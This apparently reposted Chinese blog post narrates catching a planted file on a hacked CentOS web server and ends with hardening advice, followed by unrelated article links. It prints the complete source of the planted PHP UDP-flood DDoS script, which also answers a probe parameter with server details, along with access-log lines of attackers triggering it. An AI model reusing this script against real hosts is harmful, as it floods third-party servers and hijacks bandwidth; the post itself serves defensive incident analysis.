转载:http://blog.csdn.net/qq_21439971/article/details/54631440

今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。

早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。Centos服务器被挂马的一次抓马经历

我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器。

果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看cpu负载:

top

发现有两个apache进程占用cpu一直在40%以上,马上停止httpd 服务

service httpd stop

停止httpd服务之后,再看网络状态,175服务器也不向外发包了,一切正常。

由此判断应该是175服务器挂了马,疯狂向外发包,挤占了全部机房带宽。

下一步就是抓马了!

175服务器是有硬件防火墙,只开http80跟ssh22端口,ssh不太可能被盗号,应该是通过web漏洞挂马。早上5点才中招的,木马程序文件应该在1天之内。

切到M站点根目录之下,查找最近一天内变动的文件,执行

find ./ -mtime -1

果然,一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行

ls -l  phzLtoxn.php

这里发现文件就没了,难道这文件还会自我销毁?Centos服务器被挂马的一次抓马经历

原来发生了一个小插曲,隔壁的管理员小黄也注意到这个文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删!难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把httpd服务开启了,引狼入室,等等看能否再生成。

果然,半小时不到,新的phzLtoxn.php文件又生成了。查看了一下,文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。

分析一下木马文件,看下黑客意图

这里贴出phzLtoxn.php文件源代码,并作了简单注释,仅作学习之用。

<?php
//设置脚本运行时间
set_time_limit(999999); //攻击目标服务器ip
$host = $_GET['host']; //攻击目标服务器端口
$port = $_GET['port']; //攻击时长
$exec_time = $_GET['time']; //每次发送字节数
$Sendlen = 65535;
$packets = 0; //设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE); //step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {    
if (StrLen($_GET['rat']) <> 0) {       
echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];        
exit;    
}   
echo "Warning to: opening";    
exit;
} //step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {    
$out .= "A";
}
$max_time = time() + $exec_time; //step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {    
$packets++;    
if (time() > $max_time) {        
break;    
}    
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);    
if ($fp) {        
fwrite($fp, $out);        
fclose($fp);    
}
} //step4. 攻击统计
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s"; ?> 

从以上代码可以看出,是个典型的ddos攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。

查看httpd日志,分析下攻击ip源,执行

tail /var/log/httpd/access.log | grep phzLtonxn.php
183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

发现源ip来自多个,目标服务器ip也有多个,都属于很多国家,有点奇怪啊,为什么黑客有针对性的攻击呢,无聊的黑客啊。

下一步,找漏洞!

1、重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限,防止phzLtoxn.php文件再次生成。

2、重新开启httpd服务,使用360网站检测http://webscan.360.cn/ 对H站进行漏洞检测,发现H站中有严重的远程执行漏洞,于是赶紧打了补丁。

3、补丁打好之后,顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。

观察几日之后,一切正常。

小结一下几个安全原则

1、权限最小化。

web目录一定做好权限,仅仅对apache开几个必要文件夹的写权限。

2、时刻注意补丁更新。

经常使用第三方的网站安全检测工具,如http://webscan.360.cn,也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息http://www.wooyun.org/。

3、中招后一定要补牢。

别光删删删删,要查找中招源头,分析黑客目的。

这是还是请大牛小牛们分析一下,为什么这帮黑客用那么多的肉鸡来ddos攻击不同的服务器,而这些被ddos攻击的服务器之间却没有什么联系。为什么攻击没有针对性?难道是为了耗带宽玩?!

Centos服务器被挂马的一次抓马经历的更多相关文章

  1. wordpress网站被挂马以及防御方法

    wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...

  2. 网站图片挂马检测及PHP与python的图片文件恶意代码检测对比

    前言 周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件.网管直接关了vsftpd,然后把警告导出邮件给我们. 取出部分大致如下: 服务器IP/名称 木马文件路径 更新 ...

  3. Centos服务器上NFS灾备环境及KVM的搭建及使用

    1.概述 由于在单台服务器上搭建灾备环境需要KVM和NFS的支持,下面先列出KVM的搭建流程,再列出使用NFS实现单台服务器灾备的流程. A.搭建KVM环境 1>.主机环境准备 Linux Sy ...

  4. 记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

    昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用 执行命令为 : /tmp/php  -s /tmp/p2.conf 基本可以确定是被挂马了 下一步确定来源 last 没有 ...

  5. 一次处理CentOS服务器被攻击往外发广播包

    情况是这样:我们在某地托管的一台linux服务器,突然接到机房电话说是我们机器将整个IDC网络搞瘫了.外部机器没法访问IDC.  挂掉电话后:我就开始考虑,托管机器的机房是有硬防的,我本身一台机器怎么 ...

  6. 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件

    使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...

  7. JS挂马攻防

    JS挂马攻防实录 攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1), ...

  8. Fail2ban 防止暴力破解centos服务器的SSH或者FTP账户

    次尝试登陆root账户失败的情况.[说明服务器被攻击了]   logtarget = SYSLOG  #我们需要做的就是把这行改成/var/log/fail2ban.log,方便用来记录日志信息 so ...

  9. java servlet上传centos服务器

    前面一篇随笔说了Centos上架设javaWeb运行环境的方法,这篇主要讲打包上传服务器. 一.数据库连接文件.propeties 为了数据库安全,mysql3306端口访问我做了ip访问限制,由于m ...

随机推荐

  1. vultr服务器上搭建PHP运行环境-centos7

    安装nginx: yum install nginx 开启Nginx systemctl start nginx 访问你的域名或者ip 例如:quantaedu.com 安装PHP 查看系统版本lsb ...

  2. mysqldump 参数

    mysqldump是mysql用于转存储数据库的实用程序.它主要产生一个SQL脚本,其中包含从头重新创建数据库所必需的命令CREATE TABLE INSERT等.对于导出的文件,可使用SOURCE命 ...

  3. python16_day23【cmdb前端】

    一.cmdb前端 https://github.com/willianflasky/growup/tree/master/s16/homework/day23_cmdb_web/s16MadKing ...

  4. Delphi程序调用C#.Net编译的DLL并打开窗体(详解)

    Delphi程序调用C#.Net编译的DLL并打开窗体(详解)最近用C#.Net写了一个公用模块, 本以为仅提供给.Net程序使用, 但是领导要求把这些功能提供给旧系统使用, 天啦, 几套旧系统全是D ...

  5. 46. Permutations (全排列)

    Given a collection of distinct numbers, return all possible permutations. For example,[1,2,3] have t ...

  6. 【AngularJS】通过jsonp与webmethod交互,实现ajax验证

    服务端配置 1:新建一个asp.net的网站 2: 创建一个服务文件:LoginService.asmx 注意:记得取消[System.Web.Script.Services.ScriptServic ...

  7. JAVA垃圾回收机

    垃圾回收基本算法 串型回收和并行回收 串行回收始终在一个CPU上执行回收操作.并行回收则将回收任务分为好几步,每步使用不同的CPU执行,这样加快了执行速度,有点像流水线作业. 并发执行和暂停应用程序 ...

  8. LVM2逻辑卷创建及扩容

    LVM是Logical Volume Manager(逻辑卷管理器)的简写,又译为逻辑卷宗管理器.逻辑扇区管理器.逻辑磁盘管理器.是Linux核心所提供的逻辑卷管理(Logical Volume Ma ...

  9. HTML DOM setInterval() 方法

    定义和用法 setInterval() 方法可按照指定的周期(以毫秒计)来调用函数或计算表达式. setInterval() 方法会不停地调用函数,直到 clearInterval() 被调用或窗口被 ...

  10. mysql 手动安装和管理

    版本:5.7.10 my.ini简单配置 [client] default-character-set=utf8 [mysqld] port = 3306 basedir =D:/programs/M ...